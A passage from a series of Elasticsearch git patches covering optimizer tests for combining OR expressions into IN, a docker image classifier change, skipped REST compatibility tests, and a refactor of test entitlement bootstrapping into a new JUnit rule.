+            assertThat(in.list(), contains(ONE, TWO, THREE));
+        });
     }
 
     public void testOrWithNonCombinableExpressions() throws Exception {
@@ -1580,14 +1616,159 @@ public void testOrWithNonCombinableExpressions() throws Exception {
 
         Or firstOr = new Or(EMPTY, new In(EMPTY, fa, singletonList(ONE)), lessThanOf(fa, TWO));
         Or secondOr = new Or(EMPTY, firstOr, new In(EMPTY, fa, singletonList(THREE)));
-        Expression e = new CombineDisjunctionsToIn().rule(secondOr);
+        assertCombineDisjunctionsToIn((rule) -> {
+            Expression e = rule.rule(secondOr);
+            assertEquals(Or.class, e.getClass());
+            Or or = (Or) e;
+            assertEquals(or.left(), firstOr.right());
+            assertEquals(In.class, or.right().getClass());
+            In in = (In) or.right();
+            assertEquals(fa, in.value());
+            assertThat(in.list(), contains(ONE, THREE));
+        });
+    }
+
+    public void testDontCombineSimpleDifferentTypes() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or or = new Or(EMPTY, new Equals(EMPTY, fa, ONE), new Equals(EMPTY, fa, TEXT_A));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineDifferentTypes() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or or = new Or(EMPTY, new Equals(EMPTY, fa, ONE), new Equals(EMPTY, fa, TEXT_A));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    // See https://github.com/elastic/elasticsearch/issues/118621
+    public void testDontCombineStringTypesForIPField() throws Exception {
+        FieldAttribute fa = TestUtils.getFieldAttribute("ip", DataTypes.IP);
+
+        Or or = new Or(EMPTY, new Equals(EMPTY, fa, TEXT_A), new Equals(EMPTY, fa, TEXT_B));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineForIncompatibleFieldType() throws Exception {
+        FieldAttribute fa = TestUtils.getFieldAttribute("boolean", BOOLEAN);
+
+        Or or = new Or(EMPTY, new Equals(EMPTY, fa, ONE), new Equals(EMPTY, fa, TWO));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineTwoCompatibleAndOneIncompatible() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or firstOr = new Or(EMPTY, new Equals(EMPTY, fa, ONE), new Equals(EMPTY, fa, TWO));
+        Or secondOr = new Or(EMPTY, firstOr, new Equals(EMPTY, fa, TEXT_A));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(secondOr);
+        assertEquals(secondOr, e);
+    }
+
+    public void testDontCombineOneIncompatibleEqualsWithCompatibleIn() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or or = new Or(EMPTY, new In(EMPTY, fa, List.of(ONE, TWO)), new Equals(EMPTY, fa, TEXT_A));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineTwoIncompatibleIns1() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or or = new Or(EMPTY, new In(EMPTY, fa, List.of(ONE, TWO)), new In(EMPTY, fa, List.of(TEXT_A, TEXT_B, TEXT_C)));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineTwoIncompatibleIns2() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or or = new Or(EMPTY, new In(EMPTY, fa, List.of(ONE)), new In(EMPTY, fa, List.of(TEXT_A)));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineTwoIncompatibleIns3() throws Exception {
+        FieldAttribute fa1 = TestUtils.getFieldAttribute("field1");
+        FieldAttribute fa2 = TestUtils.getFieldAttribute("field2");
+
+        Or or = new Or(EMPTY, new In(EMPTY, fa1, List.of(ONE, TWO)), new In(EMPTY, fa2, List.of(THREE, FOUR)));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(or);
+        assertEquals(or, e);
+    }
+
+    public void testDontCombineIncompatibleInWithTwoCompatibleEquals() throws Exception {
+        FieldAttribute fa = getFieldAttribute();
+
+        Or firstOr = new Or(EMPTY, new In(EMPTY, fa, List.of(TEXT_A, TEXT_B)), new Equals(EMPTY, fa, THREE));
+        Or secondOr = new Or(EMPTY, firstOr, new Equals(EMPTY, fa, FOUR));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(secondOr);
+        assertEquals(secondOr, e);
+    }
+
+    public void testCombineOnlyEqualsExpressions() throws Exception {
+        FieldAttribute faIn = TestUtils.getFieldAttribute("field_for_in");
+        FieldAttribute faEquals = TestUtils.getFieldAttribute("field_for_equals");
+
+        Or firstOr = new Or(EMPTY, new In(EMPTY, faIn, List.of(ONE, TWO)), new Equals(EMPTY, faEquals, THREE));
+        Or secondOr = new Or(EMPTY, firstOr, new Equals(EMPTY, faEquals, FOUR));
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(secondOr);
         assertEquals(Or.class, e.getClass());
         Or or = (Or) e;
-        assertEquals(or.left(), firstOr.right());
+        assertEquals(or.left(), firstOr.left());
         assertEquals(In.class, or.right().getClass());
         In in = (In) or.right();
-        assertEquals(fa, in.value());
-        assertThat(in.list(), contains(ONE, THREE));
+        assertEquals(faEquals, in.value());
+        assertThat(in.list(), contains(THREE, FOUR));
+    }
+
+    public void testCombineOnlyCompatibleEqualsExpressions() throws Exception {
+        FieldAttribute faEquals1 = TestUtils.getFieldAttribute("field_for_equals1");
+        FieldAttribute faEquals2 = TestUtils.getFieldAttribute("field_for_equals2");
+
+        Equals equalsA = new Equals(EMPTY, faEquals2, TEXT_A);
+        Equals equalsB = new Equals(EMPTY, faEquals2, TEXT_B);
+        Or firstOr = new Or(EMPTY, new Equals(EMPTY, faEquals1, ONE), equalsA);
+        Or secondOr = new Or(EMPTY, firstOr, new Equals(EMPTY, faEquals1, TWO));
+        Or thirdOr = new Or(EMPTY, secondOr, equalsB);
+
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(thirdOr);
+        assertEquals(Or.class, e.getClass());
+        Or or = (Or) e;
+        assertEquals(In.class, or.left().getClass());
+        In in = (In) or.left();
+        assertThat(in.list(), contains(ONE, TWO));
+
+        assertEquals(Or.class, or.right().getClass());
+        or = (Or) or.right();
+        assertEquals(or.left(), equalsA);
+        assertEquals(or.right(), equalsB);
+    }
+
+    public void testCombineTwoCompatiblePairsOrEqualsExpressions() throws Exception {
+        FieldAttribute faEquals1 = TestUtils.getFieldAttribute("field_for_equals1");
+        FieldAttribute faEquals2 = TestUtils.getFieldAttribute("field_for_equals2");
+
+        Or firstOr = new Or(EMPTY, new Equals(EMPTY, faEquals1, ONE), new Equals(EMPTY, faEquals2, THREE));
+        Or secondOr = new Or(EMPTY, firstOr, new Equals(EMPTY, faEquals1, TWO));
+        Or thirdOr = new Or(EMPTY, secondOr, new Equals(EMPTY, faEquals2, FOUR));
+
+        Expression e = new ValidateableCombineDisjunctionsToIn().rule(thirdOr);
+        assertEquals(Or.class, e.getClass());
+        Or or = (Or) e;
+        assertEquals(In.class, or.left().getClass());
+        In in = (In) or.left();
+        assertThat(in.list(), contains(ONE, TWO));
+
+        assertEquals(In.class, or.right().getClass());
+        in = (In) or.right();
+        assertThat(in.list(), contains(THREE, FOUR));
     }
 
     // Null folding

From 5e94055934defa56e454868b7783b2a3b683785e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Mon, 4 Aug 2025 21:00:06 +0200
Subject: [PATCH 286/299] =?UTF-8?q?Revert=20"Revert=20"Standardize=20on=20?=
 =?UTF-8?q?docker=20image=20arch=20classifier=20(#130643)=20(#13175?=
 =?UTF-8?q?=E2=80=A6"=20(#132415)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This reverts commit 6e11381c4acca1a5458108a7793b9d5857adbd5b.
---
 .../main/java/org/elasticsearch/gradle/Architecture.java  | 8 +++++---
 distribution/docker/build.gradle                          | 2 +-
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
index c7e6546e66b9a..ae47f934b0dc3 100644
--- a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
+++ b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
@@ -11,15 +11,17 @@
 
 public enum Architecture {
 
-    X64("x86_64", "linux/amd64"),
-    AARCH64("aarch64", "linux/arm64");
+    X64("x86_64", "linux/amd64", "amd64"),
+    AARCH64("aarch64", "linux/arm64", "arm64");
 
     public final String classifier;
     public final String dockerPlatform;
+    public final String dockerClassifier;
 
-    Architecture(String classifier, String dockerPlatform) {
+    Architecture(String classifier, String dockerPlatform, String dockerClassifier) {
         this.classifier = classifier;
         this.dockerPlatform = dockerPlatform;
+        this.dockerClassifier = dockerClassifier;
     }
 
     public static Architecture current() {
diff --git a/distribution/docker/build.gradle b/distribution/docker/build.gradle
index e3f87117ea029..90e0a9383f753 100644
--- a/distribution/docker/build.gradle
+++ b/distribution/docker/build.gradle
@@ -659,7 +659,7 @@ subprojects { Project subProject ->
       it.setCompression(Compression.GZIP)
       it.getArchiveBaseName().set("elasticsearch${base.suffix}-${VersionProperties.elasticsearch}-docker-image")
       it.getArchiveVersion().set("")
-      it.getArchiveClassifier().set(architecture == Architecture.AARCH64 ? 'aarch64' : '')
+      it.getArchiveClassifier().set(architecture.dockerClassifier)
       it.getDestinationDirectory().set(new File(project.parent.buildDir, 'distributions'))
       it.dependsOn(exportTask)
     }

From 5de6726ecf7e5f782ca5f14484c5dad5a3431330 Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Mon, 4 Aug 2025 18:29:34 -0700
Subject: [PATCH 287/299] Skip update/100_synthetic_source tests in
 yamlRestCompatTests (#132296) (#132425)

(cherry picked from commit 7d2de6bdbd0cca073116e136a8956efdfa57f80c)

# Conflicts:
#	muted-tests.yml
---
 rest-api-spec/build.gradle | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/rest-api-spec/build.gradle b/rest-api-spec/build.gradle
index 7b73575f76ef3..f2142e8ba1c8d 100644
--- a/rest-api-spec/build.gradle
+++ b/rest-api-spec/build.gradle
@@ -90,4 +90,6 @@ tasks.named("yamlRestCompatTestTransform").configure ({ task ->
   task.skipTest("indices.create/21_synthetic_source_stored/field param - keep root array", "Synthetic source keep arrays now stores leaf arrays natively")
   task.skipTest("cluster.info/30_info_thread_pool/Cluster HTTP Info", "The search_throttled thread pool has been removed")
   task.skipTest("synonyms/80_synonyms_from_index/Fail loading synonyms from index if synonyms_set doesn't exist", "Synonyms do no longer fail if the synonyms_set doesn't exist")
+  task.skipTest("update/100_synthetic_source/keyword", "synthetic recovery source means _recovery_source field will not be present")
+  task.skipTest("update/100_synthetic_source/stored text", "synthetic recovery source means _recovery_source field will not be present")
 })

From 90daf4a5c5b99a312b63129362d2ae45edb38577 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 5 Aug 2025 09:53:38 +0200
Subject: [PATCH 288/299] Add `TestEntitlementsRule` with support for dynamic
 entitled node paths for testing (#132077) (#132431)

Use TestEntitlementsRule and closable entitled node paths for better isolation and management of entitlement related state during tests.

However, wipePendingDataDirectories in tests requires entitlement delegation to work as this uses server's FileSystemUtils. Until ES-10920 is solved, entitled node paths cannot be removed unless the test suite completes or explicitly removing all entitled node paths in-between tests (if cluster scope is TEST).

Relates to ES-12042
---
 .../single/SingleNodeDiscoveryIT.java         |   6 +-
 .../snapshots/MultiClusterRepoAccessIT.java   |   3 +-
 .../bootstrap/EntitlementMetaTests.java       |   3 +-
 .../WithEntitlementsOnTestCodeMetaTests.java  |   4 +-
 .../indices/IndicesServiceCloseTests.java     |   3 +-
 .../bootstrap/TestEntitlementBootstrap.java   | 165 ++-------------
 .../bootstrap/TestEntitlementsRule.java       | 193 ++++++++++++++++++
 .../entitlement/bootstrap/TestPathLookup.java |  88 ++++++++
 .../runtime/policy/TestPathLookup.java        |  52 -----
 .../runtime/policy/TestPolicyManager.java     |  17 +-
 .../java/org/elasticsearch/node/MockNode.java |  26 ++-
 .../test/AbstractMultiClustersTestCase.java   |   3 +-
 .../elasticsearch/test/ESIntegTestCase.java   |   4 +-
 .../test/ESSingleNodeTestCase.java            |   2 +-
 .../org/elasticsearch/test/ESTestCase.java    |  29 +--
 .../test/InternalTestCluster.java             |  36 +++-
 .../policy/TestPolicyManagerTests.java        |  28 ++-
 .../test/test/InternalTestClusterTests.java   |  21 +-
 .../elasticsearch/xpack/CcrIntegTestCase.java |   6 +-
 19 files changed, 421 insertions(+), 268 deletions(-)
 create mode 100644 test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementsRule.java
 create mode 100644 test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestPathLookup.java
 delete mode 100644 test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/discovery/single/SingleNodeDiscoveryIT.java b/server/src/internalClusterTest/java/org/elasticsearch/discovery/single/SingleNodeDiscoveryIT.java
index 10f13f6ab152f..e28ab5b5c05d5 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/discovery/single/SingleNodeDiscoveryIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/discovery/single/SingleNodeDiscoveryIT.java
@@ -87,7 +87,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             0,
             "other",
             Arrays.asList(getTestTransportPlugin(), MockHttpTransport.TestPlugin.class),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         try {
             other.beforeTest(random());
@@ -137,7 +138,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             0,
             "other",
             Arrays.asList(getTestTransportPlugin(), MockHttpTransport.TestPlugin.class),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         try (var mockLog = MockLog.capture(JoinHelper.class)) {
             mockLog.addExpectation(
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/snapshots/MultiClusterRepoAccessIT.java b/server/src/internalClusterTest/java/org/elasticsearch/snapshots/MultiClusterRepoAccessIT.java
index c1549c1f3d384..875052ce3998c 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/snapshots/MultiClusterRepoAccessIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/snapshots/MultiClusterRepoAccessIT.java
@@ -77,7 +77,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
                 InternalSettingsPlugin.class,
                 getTestTransportPlugin()
             ),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         secondCluster.beforeTest(random());
     }
diff --git a/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java b/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
index 04e59e5476f3b..2ea51461fb528 100644
--- a/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
+++ b/server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
@@ -12,7 +12,6 @@
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
 import org.elasticsearch.test.ESTestCase;
-import org.elasticsearch.test.ESTestCase.WithEntitlementsOnTestCode;
 
 import java.io.IOException;
 import java.nio.file.Path;
@@ -42,7 +41,7 @@
  */
 public class EntitlementMetaTests extends ESTestCase {
     public void testSelfTestPasses() {
-        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTests());
         Elasticsearch.entitlementSelfTest();
     }
 
diff --git a/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java b/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
index c126490922e48..a91a2b5d4aeca 100644
--- a/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
+++ b/server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
@@ -30,13 +30,13 @@ public class WithEntitlementsOnTestCodeMetaTests extends ESTestCase {
      * is called from server code. The self-test should pass as usual.
      */
     public void testSelfTestPasses() {
-        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTests());
         Elasticsearch.entitlementSelfTest();
     }
 
     @SuppressForbidden(reason = "Testing that a forbidden API is disallowed")
     public void testForbiddenActionDenied() {
-        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTest());
+        assumeTrue("Not yet working in serverless", TestEntitlementBootstrap.isEnabledForTests());
         assertThrows(NotEntitledException.class, () -> Path.of(".").toRealPath());
     }
 }
diff --git a/server/src/test/java/org/elasticsearch/indices/IndicesServiceCloseTests.java b/server/src/test/java/org/elasticsearch/indices/IndicesServiceCloseTests.java
index a48ba63882734..78df6c9e88c65 100644
--- a/server/src/test/java/org/elasticsearch/indices/IndicesServiceCloseTests.java
+++ b/server/src/test/java/org/elasticsearch/indices/IndicesServiceCloseTests.java
@@ -77,7 +77,8 @@ private Node startNode() throws NodeValidationException {
         Node node = new MockNode(
             settings,
             Arrays.asList(getTestTransportPlugin(), MockHttpTransport.TestPlugin.class, InternalSettingsPlugin.class),
-            true
+            true,
+            () -> {}
         );
         node.start();
         return node;
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index d9c10d0d251e5..2e9ffc7558280 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -9,22 +9,18 @@
 
 package org.elasticsearch.entitlement.bootstrap;
 
-import org.apache.lucene.tests.mockfile.FilterPath;
 import org.elasticsearch.bootstrap.TestBuildInfo;
 import org.elasticsearch.bootstrap.TestBuildInfoParser;
 import org.elasticsearch.bootstrap.TestScopeResolver;
 import org.elasticsearch.common.Strings;
-import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Booleans;
-import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.initialization.EntitlementInitialization;
 import org.elasticsearch.entitlement.runtime.policy.PathLookup;
-import org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir;
 import org.elasticsearch.entitlement.runtime.policy.Policy;
+import org.elasticsearch.entitlement.runtime.policy.PolicyManager;
 import org.elasticsearch.entitlement.runtime.policy.PolicyParser;
-import org.elasticsearch.entitlement.runtime.policy.TestPathLookup;
 import org.elasticsearch.entitlement.runtime.policy.TestPolicyManager;
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
@@ -35,175 +31,52 @@
 import java.net.URI;
 import java.net.URL;
 import java.nio.file.Path;
-import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.function.BiFunction;
-import java.util.function.Consumer;
 
 import static java.util.stream.Collectors.toCollection;
 import static java.util.stream.Collectors.toSet;
-import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.TEMP;
-import static org.elasticsearch.env.Environment.PATH_DATA_SETTING;
-import static org.elasticsearch.env.Environment.PATH_HOME_SETTING;
-import static org.elasticsearch.env.Environment.PATH_REPO_SETTING;
-import static org.elasticsearch.env.Environment.PATH_SHARED_DATA_SETTING;
 
 public class TestEntitlementBootstrap {
-
     private static final Logger logger = LogManager.getLogger(TestEntitlementBootstrap.class);
 
-    private static Map<BaseDir, Collection<Path>> baseDirPaths = new ConcurrentHashMap<>();
-    private static TestPolicyManager policyManager;
+    private static TestPathLookup TEST_PATH_LOOKUP;
+    private static TestPolicyManager POLICY_MANAGER;
 
     /**
      * Activates entitlement checking in tests.
      */
-    public static void bootstrap(@Nullable Path tempDir) throws IOException {
-        if (isEnabledForTest() == false) {
-            return;
-        }
-        var previousTempDir = baseDirPaths.put(TEMP, zeroOrOne(tempDir));
-        assert previousTempDir == null : "Test entitlement bootstrap called multiple times";
-        TestPathLookup pathLookup = new TestPathLookup(baseDirPaths);
-        policyManager = createPolicyManager(pathLookup);
-        EntitlementInitialization.initializeArgs = new EntitlementInitialization.InitializeArgs(pathLookup, Set.of(), policyManager);
-        logger.debug("Loading entitlement agent");
-        EntitlementBootstrap.loadAgent(EntitlementBootstrap.findAgentJar(), EntitlementInitialization.class.getName());
-    }
-
-    public static void registerNodeBaseDirs(Settings settings, Path configPath) {
-        if (policyManager == null) {
-            return;
-        }
-
-        Path homeDir = homeDir(settings);
-        Path configDir = configDir(configPath, homeDir);
-        Collection<Path> dataDirs = dataDirs(settings, homeDir);
-        Collection<Path> sharedDataDir = sharedDataDir(settings);
-        Collection<Path> repoDirs = repoDirs(settings);
-        logger.debug(
-            "Registering node dirs: config [{}], dataDirs [{}], sharedDataDir [{}], repoDirs [{}]",
-            configDir,
-            dataDirs,
-            sharedDataDir,
-            repoDirs
-        );
-        baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.add(configDir)));
-        baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.addAll(dataDirs)));
-        baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.addAll(sharedDataDir)));
-        baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.addAll(repoDirs)));
-        policyManager.clearModuleEntitlementsCache();
-    }
-
-    public static void unregisterNodeBaseDirs(Settings settings, Path configPath) {
-        if (policyManager == null) {
+    public static void bootstrap(Path tempDir) throws IOException {
+        if (isEnabledForTests() == false) {
             return;
         }
-
-        Path homeDir = homeDir(settings);
-        Path configDir = configDir(configPath, homeDir);
-        Collection<Path> dataDirs = dataDirs(settings, homeDir);
-        Collection<Path> sharedDataDir = sharedDataDir(settings);
-        Collection<Path> repoDirs = repoDirs(settings);
-        logger.debug(
-            "Unregistering node dirs: config [{}], dataDirs [{}], sharedDataDir [{}], repoDirs [{}]",
-            configDir,
-            dataDirs,
-            sharedDataDir,
-            repoDirs
-        );
-        baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.remove(configDir)));
-        baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.removeAll(dataDirs)));
-        baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.removeAll(sharedDataDir)));
-        baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.removeAll(repoDirs)));
-        policyManager.clearModuleEntitlementsCache();
-    }
-
-    private static Path homeDir(Settings settings) {
-        return absolutePath(PATH_HOME_SETTING.get(settings));
-    }
-
-    private static Path configDir(Path configDir, Path homeDir) {
-        return configDir != null ? unwrapFilterPath(configDir) : homeDir.resolve("config");
-    }
-
-    private static Collection<Path> dataDirs(Settings settings, Path homeDir) {
-        List<String> dataDirs = PATH_DATA_SETTING.get(settings);
-        return dataDirs.isEmpty()
-            ? List.of(homeDir.resolve("data"))
-            : dataDirs.stream().map(TestEntitlementBootstrap::absolutePath).toList();
+        assert POLICY_MANAGER == null && TEST_PATH_LOOKUP == null : "Test entitlement bootstrap called multiple times";
+        TEST_PATH_LOOKUP = new TestPathLookup(tempDir);
+        POLICY_MANAGER = createPolicyManager(TEST_PATH_LOOKUP);
+        loadAgent(POLICY_MANAGER, TEST_PATH_LOOKUP);
     }
 
-    private static Collection<Path> sharedDataDir(Settings settings) {
-        String sharedDataDir = PATH_SHARED_DATA_SETTING.get(settings);
-        return Strings.hasText(sharedDataDir) ? List.of(absolutePath(sharedDataDir)) : List.of();
-    }
-
-    private static Collection<Path> repoDirs(Settings settings) {
-        return PATH_REPO_SETTING.get(settings).stream().map(TestEntitlementBootstrap::absolutePath).toList();
-    }
-
-    private static BiFunction<BaseDir, Collection<Path>, Collection<Path>> baseDirModifier(Consumer<Collection<Path>> consumer) {
-        // always return a new unmodifiable copy
-        return (BaseDir baseDir, Collection<Path> paths) -> {
-            paths = paths == null ? new HashSet<>() : new HashSet<>(paths);
-            consumer.accept(paths);
-            return Collections.unmodifiableCollection(paths);
-        };
-    }
-
-    private static Path unwrapFilterPath(Path path) {
-        while (path instanceof FilterPath fPath) {
-            path = fPath.getDelegate();
-        }
-        return path;
-    }
-
-    @SuppressForbidden(reason = "must be resolved using the default file system, rather then the mocked test file system")
-    private static Path absolutePath(String path) {
-        return Paths.get(path).toAbsolutePath().normalize();
-    }
-
-    private static <T> List<T> zeroOrOne(T item) {
-        if (item == null) {
-            return List.of();
-        } else {
-            return List.of(item);
-        }
-    }
-
-    public static boolean isEnabledForTest() {
+    public static boolean isEnabledForTests() {
         return Booleans.parseBoolean(System.getProperty("es.entitlement.enableForTests", "false"));
     }
 
-    public static void setActive(boolean newValue) {
-        policyManager.setActive(newValue);
-    }
-
-    public static void setTriviallyAllowingTestCode(boolean newValue) {
-        policyManager.setTriviallyAllowingTestCode(newValue);
+    static TestPolicyManager testPolicyManager() {
+        return POLICY_MANAGER;
     }
 
-    public static void setEntitledTestPackages(String[] entitledTestPackages) {
-        policyManager.setEntitledTestPackages(entitledTestPackages);
+    static TestPathLookup testPathLookup() {
+        return TEST_PATH_LOOKUP;
     }
 
-    public static void resetAfterTest() {
-        // reset all base dirs except TEMP, which is initialized just once statically
-        baseDirPaths.keySet().retainAll(List.of(TEMP));
-        if (policyManager != null) {
-            policyManager.resetAfterTest();
-        }
+    private static void loadAgent(PolicyManager policyManager, PathLookup pathLookup) {
+        logger.debug("Loading entitlement agent");
+        EntitlementInitialization.initializeArgs = new EntitlementInitialization.InitializeArgs(pathLookup, Set.of(), policyManager);
+        EntitlementBootstrap.loadAgent(EntitlementBootstrap.findAgentJar(), EntitlementInitialization.class.getName());
     }
 
     private static TestPolicyManager createPolicyManager(PathLookup pathLookup) throws IOException {
@@ -224,7 +97,7 @@ private static TestPolicyManager createPolicyManager(PathLookup pathLookup) thro
 
         String separator = System.getProperty("path.separator");
 
-        // In productions, plugins would have access to their respective bundle directories,
+        // In production, plugins would have access to their respective bundle directories,
         // and so they'd be able to read from their jars. In testing, we approximate this
         // by considering the entire classpath to be "source paths" of all plugins. This
         // also has the effect of granting read access to everything on the test-only classpath,
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementsRule.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementsRule.java
new file mode 100644
index 0000000000000..1c057de296e9b
--- /dev/null
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementsRule.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.entitlement.bootstrap;
+
+import org.apache.lucene.tests.mockfile.FilterPath;
+import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.core.SuppressForbidden;
+import org.elasticsearch.entitlement.runtime.policy.PathLookup;
+import org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir;
+import org.elasticsearch.entitlement.runtime.policy.TestPolicyManager;
+import org.elasticsearch.logging.LogManager;
+import org.elasticsearch.logging.Logger;
+import org.elasticsearch.test.ESTestCase;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.Closeable;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Consumer;
+
+import static org.elasticsearch.env.Environment.PATH_DATA_SETTING;
+import static org.elasticsearch.env.Environment.PATH_HOME_SETTING;
+import static org.elasticsearch.env.Environment.PATH_REPO_SETTING;
+import static org.elasticsearch.env.Environment.PATH_SHARED_DATA_SETTING;
+
+public class TestEntitlementsRule implements TestRule {
+    private static final Logger logger = LogManager.getLogger(TestEntitlementsRule.class);
+
+    private static final AtomicBoolean active = new AtomicBoolean(false);
+    private final TestPolicyManager policyManager;
+    private final TestPathLookup pathLookup;
+
+    public TestEntitlementsRule() {
+        policyManager = TestEntitlementBootstrap.testPolicyManager();
+        pathLookup = TestEntitlementBootstrap.testPathLookup();
+        assert (policyManager == null) == (pathLookup == null);
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        assert description.isSuite() : "must be used as ClassRule";
+
+        // class / suite level
+        boolean withoutEntitlements = description.getAnnotation(ESTestCase.WithoutEntitlements.class) != null;
